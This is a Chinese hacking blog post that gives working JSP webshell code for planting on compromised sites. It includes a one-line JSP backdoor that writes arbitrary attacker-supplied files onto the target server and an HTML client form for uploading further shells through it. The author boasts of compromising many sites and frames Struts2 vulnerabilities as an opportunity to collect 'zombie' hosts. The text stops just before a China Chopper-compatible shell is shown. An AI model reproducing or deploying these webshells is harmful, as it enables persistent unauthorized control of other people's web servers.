js一句话木马
1. 如何使用JSP一句话木马和菜刀木马
相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生，小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭，不少黑阔们都摩拳擦掌、争先恐后的寻找属于自己的那群“小肉鸡”。由于工作需要，我也对几个站点做了Struts2重定向漏洞的测试，所有使用Struts2框架的网站安全问题均不容乐观，中标率几乎达到了85%以上。也许一场血雨腥风的Struts2漏洞利用潮即将来临。
说了这么多废话，本文的目的是什么呢？其实只是想记录一下JSP几种后门代码啦，因为曾经找JSP菜刀马找的老辛苦了。
1、首先是JSP一句话木马和它的客户端小伙伴。（小伙伴们都惊呆了~~~）
以下是服务端，保存成one.jsp并上传至目标服务器中。
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
通过使用一句话木马客户端连接one.jsp木马。
将下列代码保存为html页面：
<html><head><title>JSP一句话木马客户端</title></head><div align=center> <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代码</textarea><br>保存成的文件名：<input name=f size=30 value=shell.jsp><input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form> <br>服务端代码：<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> </textarea> </div></body>
保存完成后，打开html页面，写入一句话木马服务端地址，例如http://www.cto365.com/one.jsp，写入需要的代码和保存的文件名称点击保存即可。
2、中国菜刀能用的菜刀马
本文除了对jsp一句话木马进行了说明，还提供了一个中国菜刀能用的菜刀马。
将下列代码保存为xx.jsp并上传至目标服务器，使用中国菜刀工具进行连接。
